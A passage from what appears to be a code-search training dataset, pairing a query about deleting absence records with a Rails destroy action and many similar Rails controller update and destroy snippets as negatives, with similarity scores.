}\n format.json { render json: @archetype.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @announce = Announce.find(params[:id])\n\n respond_to do |format|\n if @announce.update_attributes(params[:announce])\n format.html { redirect_to @announce, notice: 'Announce was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @announce.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @announce = Announce.find(params[:id])\n\n respond_to do |format|\n if @announce.update_attributes(params[:announce])\n format.html { redirect_to @announce, notice: 'Announce was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @announce.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @assessment_info.update(assessment_info_params)\n format.html { redirect_to edit_concept_url(@assessment_info.concept_id), notice: 'assessment_info was successfully updated.' }\n format.json { render :show, status: :ok, location: @assessment_info }\n else\n format.html { render :edit }\n format.json { render json: @assessment_info.errors, status: :unprocessable_entity }\n end\n end\nend", "def update\n authorize @adoc_name\n respond_to do |format|\n if @adoc_name.update(adoc_name_params)\n format.html { redirect_to @adoc_name, notice: 'Adoc name was successfully updated.' }\n format.json { render :show, status: :ok, location: @adoc_name }\n else\n format.html { render :edit }\n format.json { render json: @adoc_name.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @strain = Strain.find(params[:id])\n\n respond_to do |format|\n if @strain.update_attributes(params[:strain])\n format.html { redirect_to @strain, :notice => 'Strain was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @strain.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @chapter.update(update_chapter_params)\n format.html { redirect_to specification_path(@chapter.specification_id) }\n format.json { render :show, status: :ok, location: @chapter }\n else\n format.html { render :edit }\n format.json { render json: @chapter.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @agency = Agency.find(params[:id])\n\n if @agency.update(agency_params)\n #head :no_content\n render json: @agency, status: :accepted, location: @agency #sera? status accepted? \n else\n render json: @agency.errors, status: :unprocessable_entity\n end\n end", "def update\n @answer = Answer.find(params[:id])\n\n if @answer.update(answer_params)\n head :no_content\n else\n render json: @answer.errors, status: :unprocessable_entity\n end\n end", "def update\n @quest = Quest.find(params[:id])\n\n respond_to do |format|\n if @quest.update_attributes(params[:quest])\n format.html { redirect_to @quest, notice: 'Quest was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @quest.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @a_brief_about_yourself.update(a_brief_about_yourself_params)\n format.html { redirect_to @a_brief_about_yourself, notice: 'A brief about yourself was successfully updated.' }\n format.json { render :show, status: :ok, location: @a_brief_about_yourself }\n else\n format.html { render :edit }\n format.json { render json: @a_brief_about_yourself.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @ascaffold.update(ascaffold_params)\n format.html { redirect_to @ascaffold, notice: 'Ascaffold was successfully updated.' }\n format.json { render :show, status: :ok, location: @ascaffold }\n else\n format.html { render :edit }\n format.json { render json: @ascaffold.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @bank_agence.update(bank_agence_params)\n format.html { redirect_to @bank_agence, notice: 'Bank agence was successfully updated.' }\n format.json { render :show, status: :ok, location: @bank_agence }\n else\n format.html { render :edit }\n format.json { render json: @bank_agence.errors, status: :unprocessable_entity }\n end\n end\n end", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def update\n @verse = Verse.find(params[:id])\n\n respond_to do |format|\n if @verse.update_attributes(params[:verse])\n format.html { redirect_to @verse, notice: 'Verse was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @verse.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @verse = Verse.find(params[:id])\n\n respond_to do |format|\n if @verse.update_attributes(params[:verse])\n format.html { redirect_to @verse, notice: 'Verse was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @verse.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @headline.update(headline_params)\n format.html { redirect_to @headline, notice: \"Headline was successfully updated.\" }\n format.json { render :show, status: :ok, location: @headline }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @headline.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @api_noun = Api::Noun.find(params[:id])\n\n respond_to do |format|\n if @api_noun.update_attributes(params[:api_noun])\n format.html { redirect_to @api_noun, notice: 'Noun was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @api_noun.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_suggested_course_pathway\n suggested_pathway = SuggestedPathway.find_by(id: params[:id])\n suggested_pathway.name = params[:name]\n suggested_pathway.year = params[:year]\n suggested_pathway.course_id = params[:course_id]\n suggested_pathway.data = params[:data]\n suggested_pathway.save\n render json: suggested_pathway\n end", "def update\n @resume = Resume.find(params[:id])\n\n if @resume.update(resume_params)\n head :no_content\n else\n render json: @resume.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @chapter.update(chapter_params)\n format.html { redirect_to law_path(@chapter.law, anchor: \"chapter_#{@chapter.position}\"), notice: 'Chapter was successfully updated.' }\n format.json { render :show, status: :ok, location: @chapter }\n else\n format.html { render :edit }\n format.json { render json: @chapter.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @api_v1_concern.update(api_v1_concern_params)\n format.html { redirect_to @api_v1_concern, notice: 'Concern was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_concern }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_concern.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @asistence = Asistence.find(params[:id])\n @asistence.destroy\n\n respond_to do |format|\n format.html { redirect_to asistences_url }\n format.json { head :no_content }\n end\n end", "def update\r\n @asistencia = Asistencia.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @asistencia.update_attributes(params[:asistencia])\r\n format.html { redirect_to @asistencia, notice: 'Asistencia was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @asistencia.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n @concept = Concept.find(params[:id])\n \n respond_to do |format|\n if @concept.update_attributes(params[:concept])\n flash[:notice] = 'Concept was successfully updated.'\n format.html { redirect_to(@concept) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @concept.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_absences_log\n @absences_log = AbsencesLog.find(params[:id])\n end", "def update\n @staffer = Staffer.find(params[:id])\n\n respond_to do |format|\n if @staffer.update_attributes(params[:staffer])\n format.html { redirect_to @staffer, notice: 'Staffer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @staffer.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @atricle.update(atricle_params)\n format.html { redirect_to @atricle, notice: 'Atricle was successfully updated.' }\n format.json { render :show, status: :ok, location: @atricle }\n else\n format.html { render :edit }\n format.json { render json: @atricle.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.673988", "0.63281626", "0.6126415", "0.61207175", "0.6088544", "0.6088544", "0.6030452", "0.59950113", "0.59950113", "0.59950113", "0.59755456", "0.59593606", "0.5880443", "0.5872303", "0.5852316", "0.58421165", "0.58198327", "0.5800365", "0.5791689", "0.5760923", "0.57560915", "0.56966203", "0.56909144", "0.56704813", "0.5647277", "0.56084746", "0.56017697", "0.5586833", "0.5582551", "0.557186", "0.55681056", "0.55681056", "0.55663687", "0.55572766", "0.5552037", "0.55451214", "0.5535489", "0.5512892", "0.551141", "0.54899347", "0.5478882", "0.54778486", "0.54756665", "0.54744977", "0.5465396", "0.5463976", "0.54624045", "0.5459473", "0.54567873", "0.5445739", "0.5436111", "0.5431727", "0.5426112", "0.54217565", "0.5414467", "0.5412474", "0.5403674", "0.5403674", "0.5403146", "0.5400253", "0.5394199", "0.5393925", "0.53880084", "0.53859866", "0.53853685", "0.53838587", "0.5374256", "0.5370478", "0.53665495", "0.5360696", "0.53594494", "0.5341718", "0.5340161", "0.53363717", "0.53363717", "0.53359306", "0.5334973", "0.5333696", "0.53305805", "0.53282714", "0.5322479", "0.5320244", "0.53190315", "0.5304599", "0.53024286", "0.5302102", "0.5291656", "0.5291656", "0.5286239", "0.52860534", "0.5278353", "0.52763003", "0.52658063", "0.5260068", "0.52578664", "0.5243896", "0.52425146", "0.5241275", "0.5236462", "0.523475" ]
0.6931707
0
DELETE /absences/1 DELETE /absences/1.json
def destroy @absence = Absence.find(params[:id]) @absence.destroy respond_to do |format| format.html { redirect_to absences_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @absence.destroy\n respond_to do |format|\n format.html { redirect_to absences_url, notice: 'Отсутствие успешно удалено.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @absence.destroy\n respond_to do |format|\n format.html { redirect_to absences_url, notice: 'Absence was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @absence = Absence.find(params[:id])\n @absence.destroy\n\n respond_to do |format|\n format.html { redirect_to club_member_absences_path(params[:club_id],current_member) }\n format.json { head :ok }\n end\n end", "def destroy\n @attendence = Attendence.find(params[:id])\n @attendence.destroy\n\n respond_to do |format|\n format.html { redirect_to attendences_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @asistence = Asistence.find(params[:id])\n @asistence.destroy\n\n respond_to do |format|\n format.html { redirect_to asistences_url }\n format.json { head :no_content }\n end\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def destroy\n @absence_request = AbsenceRequest.find(params[:id])\n @absence_request.destroy\n\n respond_to do |format|\n format.html { redirect_to(absence_requests_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @exprience = Exprience.find(params[:id])\n @exprience.destroy\n\n respond_to do |format|\n format.html { redirect_to expriences_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @absent.destroy\n\n respond_to do |format|\n format.html { redirect_to absents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @audience = Audience.find(params[:id])\n @audience.destroy\n\n respond_to do |format|\n format.html { redirect_to audiences_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @sentence = Sentence.find(params[:id])\n @sentence.destroy\n\n respond_to do |format|\n format.html { redirect_to sentences_url }\n format.json { head :ok }\n end\n end", "def destroy\n @attendence.destroy\n respond_to do |format|\n format.html { redirect_to attendences_url, notice: 'Attendence was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @attendence.destroy\n respond_to do |format|\n format.html { redirect_to attendences_url, notice: 'Attendence was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @avert = Avert.find(params[:id])\n @avert.destroy\n\n respond_to do |format|\n format.html { redirect_to averts_url }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Alien.delete(params[\"id\"])\n end", "def destroy\n @cadet = Cadet.find(params[:id])\n @cadet.destroy\n\n respond_to do |format|\n format.html { redirect_to cadets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @verb.destroy\n\n head :no_content\n end", "def destroy\n @hr_attendence = Hr::Attendence.find(params[:id])\n @hr_attendence.destroy\n\n respond_to do |format|\n format.html { redirect_to(hr_attendences_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @odeme_akademist = Odeme::Akademist.find(params[:id])\n @odeme_akademist.destroy\n\n respond_to do |format|\n format.html { redirect_to odeme_akademists_url }\n format.json { head :no_content }\n end\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def destroy\n @advocacy = Advocacy.find(params[:id])\n @advocacy.destroy\n\n respond_to do |format|\n format.html { redirect_to advocacies_url }\n format.json { head :ok }\n end\n end", "def destroy\n @attendace3.destroy\n respond_to do |format|\n format.html { redirect_to attendace3s_url, notice: \"Attendace3 was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @absence.destroy\n respond_to do |format|\n format.html { redirect_to employee_url(@absence.employee_id), notice: \"Absence was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @headline.destroy\n respond_to do |format|\n format.html { redirect_to headlines_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @headline.destroy\n respond_to do |format|\n format.html { redirect_to headlines_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @verb.destroy\n respond_to do |format|\n format.html { redirect_to verbs_url }\n format.json { head :no_content }\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def destroy\n @transcendence.destroy\n respond_to do |format|\n format.html { redirect_to transcendences_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @abet.destroy\n respond_to do |format|\n format.html { redirect_to abets_url, notice: 'ABET Criteria was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @spanish_vocab = SpanishVocab.find(params[:id])\n @spanish_vocab.destroy\n\n respond_to do |format|\n format.html { redirect_to spanish_vocabs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ab_chapter.destroy\n respond_to do |format|\n format.html { redirect_to ab_chapters_url }\n format.json { head :no_content }\n end\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def destroy\n @oferta_academica = OfertaAcademica.find(params[:id])\n @oferta_academica.destroy\n\n head :no_content\n end", "def destroy\n @chaine = Chaine.find(params[:id])\n @chaine.destroy\n\n respond_to do |format|\n format.html { redirect_to chaines_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @accolade.destroy\n respond_to do |format|\n format.html { redirect_to accolades_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @attendence_info.destroy\n respond_to do |format|\n format.html { redirect_to attendence_infos_url, notice: 'Attendence info was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @ambit.destroy\n respond_to do |format|\n format.html { redirect_to ambits_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exam = Exam.find(params[:id])\n @exam.destroy\n\n respond_to do |format|\n format.html { redirect_to exams_url }\n format.json { head :no_content }\n end\n end", "def destroy\n client = Connection::MarkLogic.new.client\n client.send_corona_request(\"/v1/documents?uri=/amandments/amandment_#{@amandment.id}.xml\", :delete)\n @amandment.destroy\n respond_to do |format|\n format.html { redirect_to home_meeting_path, notice: 'Amandman was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @sentence = Sentence.find(params[:id])\n @sentence.destroy\n\n respond_to do |format|\n format.html { redirect_to(sentences_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @fixture = Fixture.find(params[:id])\n @fixture.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @ca = Ca.find(params[:id])\n @ca.destroy\n\n respond_to do |format|\n format.html { redirect_to cas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @evangelism.destroy\n respond_to do |format|\n format.html { redirect_to evangelisms_url }\n format.json { head :no_content }\n end\n end", "def destroy\n official = Official.find(params[:id])\n official.destroy\n head 204\n end", "def destroy\n @aucrecord.destroy\n respond_to do |format|\n format.html { redirect_to aucrecords_url }\n format.json { head :no_content }\n end\n end", "def destroy\n specification = @chapter.specification\n @chapter.destroy\n respond_to do |format|\n format.html { redirect_to specification_path(specification) }\n format.json { head :no_content }\n end\n end", "def destroy\n @capa = Capa.find(params[:id])\n @capa.destroy\n\n respond_to do |format|\n format.html { redirect_to capas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n Audit.find(params[:id]).destroy\n head :no_content\n end", "def destroy\n @oase = Oasis.find(params[:id])\n @oase.destroy\n\n respond_to do |format|\n format.html { redirect_to oases_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @humanidades1 = Humanidades1.find(params[:id])\n @humanidades1.destroy\n\n respond_to do |format|\n format.html { redirect_to humanidades1s_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @myb_evl_intake.destroy\n respond_to do |format|\n format.html { redirect_to myb_evl_intakes_url, notice: 'Myb evl intake was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @lob.destroy\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end", "def destroy_rest\n @entry_answer = EntryAnswer.find(params[:id])\n @entry_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(entry_answers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ruby.destroy\n respond_to do |format|\n format.html { redirect_to rubies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @helocagree = Helocagree.find(params[:id])\n @helocagree.destroy\n\n respond_to do |format|\n format.html { redirect_to(helocagrees_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @advert1.destroy\n respond_to do |format|\n format.html { redirect_to advert1s_url, notice: 'Advert1 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @sentence.destroy\n respond_to do |format|\n format.html { redirect_to sentences_url, notice: 'Sentence was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @humanidades3 = Humanidades3.find(params[:id])\n @humanidades3.destroy\n\n respond_to do |format|\n format.html { redirect_to humanidades3s_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @explaination = Explaination.find(params[:id])\n @explaination.destroy\n\n respond_to do |format|\n format.html { redirect_to explainations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @retroaspecto = Retroaspecto.find(params[:id])\n @retroaspecto.destroy\n\n respond_to do |format|\n format.html { redirect_to retroaspectos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @aactio = Aactio.find(params[:id])\n @aactio.destroy\n\n respond_to do |format|\n format.html { redirect_to aactios_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @aoo_ref.destroy\n respond_to do |format|\n format.html { redirect_to aoo_refs_url, notice: 'Aoo ref was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @orphan.destroy\n respond_to do |format|\n format.html { redirect_to orphans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @introexam.destroy\n respond_to do |format|\n format.html { redirect_to introexams_url, notice: 'Introexam was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def destroy\n @passage = Passage.find(params[:id])\n @passage.destroy\n\n respond_to do |format|\n format.html { redirect_to passages_url }\n format.json { head :no_content }\n end\n end", "def destroy\n record = Asset.find(params[:id])\n record.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end", "def destroy\n @record = Asset.find(params[:id])\n @record.trash\n respond_to do |format| \n format.json { head :no_content }\n end\n end", "def destroy\n @envelope.destroy\n\n respond_to do |format|\n format.html { redirect_to :root }\n format.json { head :ok }\n end\n end", "def destroy\n @attention.destroy\n respond_to do |format|\n format.html { redirect_to attentions_url, notice: 'Attention was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @attention.destroy\n respond_to do |format|\n format.html { redirect_to attentions_url, notice: 'Attention was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @exam.destroy\n respond_to do |format|\n format.html { redirect_to exams_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @desc = Desc.find(params[:id])\n @desc.destroy\n\n respond_to do |format|\n format.html { redirect_to descs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @acd = Acd.find(params[:id])\n @acd.destroy\n\n respond_to do |format|\n format.html { redirect_to acds_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_noun = Api::Noun.find(params[:id])\n @api_noun.destroy\n\n respond_to do |format|\n format.html { redirect_to api_nouns_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @clause.destroy\n respond_to do |format|\n format.html { redirect_to clauses_url, notice: 'Clause was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @aadt = Aadt.find(params[:id])\n @aadt.destroy\n\n respond_to do |format|\n format.html { redirect_to aadts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @vocab.destroy\n respond_to do |format|\n format.html { redirect_to vocabs_url, notice: \"Vocab was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n authorize @adoc_name\n @adoc_name.destroy\n respond_to do |format|\n format.html { redirect_to adoc_names_url, notice: 'Adoc name was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @examan.destroy\n respond_to do |format|\n format.html { redirect_to examen_url }\n format.json { head :no_content }\n end\n end", "def delete\n request(:delete)\n end", "def destroy\n @agreement.destroy\n respond_to do |format|\n format.html { redirect_to agreements_url, notice: 'Agreement was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @client_answer = ClientAnswer.find(params[:id])\n @client_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to client_answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ambiance = Ambiance.find(params[:id])\n @ambiance.destroy\n\n respond_to do |format|\n format.html { redirect_to(ambiances_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @chef_att_deb.destroy\n respond_to do |format|\n format.html { redirect_to chef_att_debs_url, notice: 'Chef att deb was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @abuse.destroy\n respond_to do |format|\n format.html { redirect_to abuses_url, notice: t('views.flash_delete_message') }\n format.json { head :no_content }\n end\n end", "def destroy\n @pharmacy.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @answer = Answer.find_by_key(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @line = Line.find(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to budget_path(@line.budget) }\n format.json { head :no_content }\n end\n end", "def destroy\n @adocao_animal = AdocaoAnimal.find(params[:id])\n @adocao_animal.destroy\n\n respond_to do |format|\n format.html { redirect_to adocao_animals_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ai_contest = AiContest.find(params[:id])\n @ai_contest.destroy\n\n respond_to do |format|\n format.html { redirect_to ai_contests_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ca.destroy\n respond_to do |format|\n format.html { redirect_to cas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @headline.destroy\n respond_to do |format|\n format.html { redirect_to headlines_url, notice: \"Headline was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @chapter = @aside.chapter\n @scripted = @chapter.scripted\n @aside.destroy\n respond_to do |format|\n format.html { redirect_to chapter_path(@chapter), notice: 'Aside was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @adherent.destroy\n respond_to do |format|\n format.html { redirect_to adherents_url, notice: 'Adherent was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @abook.destroy\n respond_to do |format|\n format.html { redirect_to abooks_url, notice: 'Abook was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @descuento = Descuento.find(params[:id])\n @descuento.destroy\n\n respond_to do |format|\n format.html { redirect_to descuentos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @auto1h_fold_change = Auto1hFoldChange.find(params[:id])\n @auto1h_fold_change.destroy\n\n respond_to do |format|\n format.html { redirect_to(auto1h_fold_changes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @my_exam = MyExam.find(params[:id])\n @my_exam.destroy\n\n respond_to do |format|\n format.html { redirect_to my_exams_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.71855885", "0.7158314", "0.711689", "0.69589007", "0.69473207", "0.6840893", "0.68064064", "0.6739354", "0.67037237", "0.6648273", "0.66268414", "0.6621664", "0.6621664", "0.6615619", "0.6605322", "0.65750706", "0.6563305", "0.6555502", "0.6535823", "0.65335476", "0.65261984", "0.65143967", "0.6507949", "0.6497166", "0.64904845", "0.64904845", "0.6489012", "0.64856935", "0.64714634", "0.64658284", "0.646193", "0.6453693", "0.64505863", "0.64484227", "0.6447623", "0.64465815", "0.64335644", "0.6427268", "0.64250016", "0.6418229", "0.64062023", "0.6403764", "0.6395733", "0.6390205", "0.63879114", "0.63849056", "0.63834196", "0.6382263", "0.6375517", "0.6375426", "0.6375378", "0.63725185", "0.63639945", "0.6363335", "0.63560134", "0.63499606", "0.6349459", "0.63477975", "0.6345185", "0.6342963", "0.634081", "0.63406277", "0.6340484", "0.63401645", "0.6339249", "0.633911", "0.6337217", "0.63371056", "0.6332014", "0.63313556", "0.63305193", "0.63305193", "0.6326021", "0.6325054", "0.63226247", "0.6322488", "0.6319412", "0.63191795", "0.63182235", "0.6314519", "0.63136756", "0.6312805", "0.63109297", "0.6310056", "0.63094836", "0.63084817", "0.6305526", "0.630526", "0.63048226", "0.63044816", "0.63044477", "0.63040024", "0.6302428", "0.63022256", "0.63003916", "0.6298663", "0.62950385", "0.62942725", "0.6294079", "0.62939173" ]
0.74988055
0
GET /bandas/1 GET /bandas/1.xml
def show @banda = Banda.find_by_atalho(params[:banda]) if !@banda flash[:notice] = "Não existe essa banda aqui. Adicione!" redirect_to("/") return else @page_title = @banda.nome end @banda_albuns = Album.find_all_by_banda_id(@banda.id, :order=>"ano") respond_to do |format| format.html # show.html.erb format.xml { render :xml => @banda } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @band = Band.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @band }\n end\n end", "def show\n @band = Band.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @band }\n end\n end", "def show\n @band = Band.find(params[:id])\n end", "def show\n @timeband = Timeband.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @timeband }\n end\n end", "def get_band\n @band = Band.find(params[:band_id])\n end", "def index\n @band_memberships = BandMembership.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @band_memberships }\n end\n end", "def show\n @band_membership = BandMembership.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @band_membership }\n end\n end", "def show\n #@band = Band.find_by_fb_id(params[:id])\n @band = Band.find(params[:id])\n respond_with @band\n end", "def show\n @taxband = Taxband.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @taxband }\n end\n end", "def new\n @band = Band.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @band }\n end\n end", "def index\n @bands = Band.all\n end", "def show\n @banda = Banda.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @banda }\n end\n end", "def find_band\n @band = Band.find(params[:id])\n end", "def index\n where_hash = {}\n where_hash[:state] = params[:state] if params[:state]\n where_hash[:city] = params[:city] if params[:city]\n where_hash[:genre] = params[:genre] if params[:genre]\n \n @bands = Band.where(where_hash)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @bands }\n end\n end", "def show\n \n @band = Band.find(params[:id])\n \n if(!@band.has_pictures?)\n retrieve_pictures(@band) \n end\n \n @band.get_upcoming_shows_from_last_fm\n \n if(@band.info == nil)\n retrieve_band_info(@band)\n end\n \n @bandshows = @band.shows.find(:all, :conditions => ['date > ?', Date.current - 1.day ], :order => 'date ASC')\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @venue }\n end\n end", "def show\n @bap = Bap.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bap }\n end\n end", "def index\n @bandas = Banda.all\n end", "def new\n @banda = Banda.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @banda }\n end\n end", "def new\n @bands = Band.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @venue }\n end\n end", "def show\n @bdig = Bdig.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bdig }\n end\n end", "def show\n @bairro_micro = BairroMicro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @bairro_micro }\n end\n end", "def show\n @bandas = @musico.banda.all\n end", "def index\n @band = Band.find(params[:band_id])\n @albums = @band.albums\n end", "def band\n\t\tdata = query(\"AT+WMBS?\")\n\t\tif m = data.match(/^\\+WMBS: (\\d+),/)\n\t\t\treturn Bands[m.captures[0].to_i]\n\t\t\t\n\t\telse\n\t\t\t# Todo: Recover from this exception\n\t\t\terr = \"Not WMBS data: #{data.inspect}\"\n\t\t\traise RuntimeError.new(err)\n\t\tend\n\tend", "def index\n @bandnames = Bandname.all\n end", "def set_banda\n @banda = Banda.find(params[:id])\n end", "def show\n @lab_rack = LabRack.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lab_rack }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @abucket }\n end\n end", "def show\n @stage = Stage.find(params[:stage_id])\n @event= Event.find(params[:id], :include => :band)\n\n respond_to do |format|\n format.html # show.html.erb\n 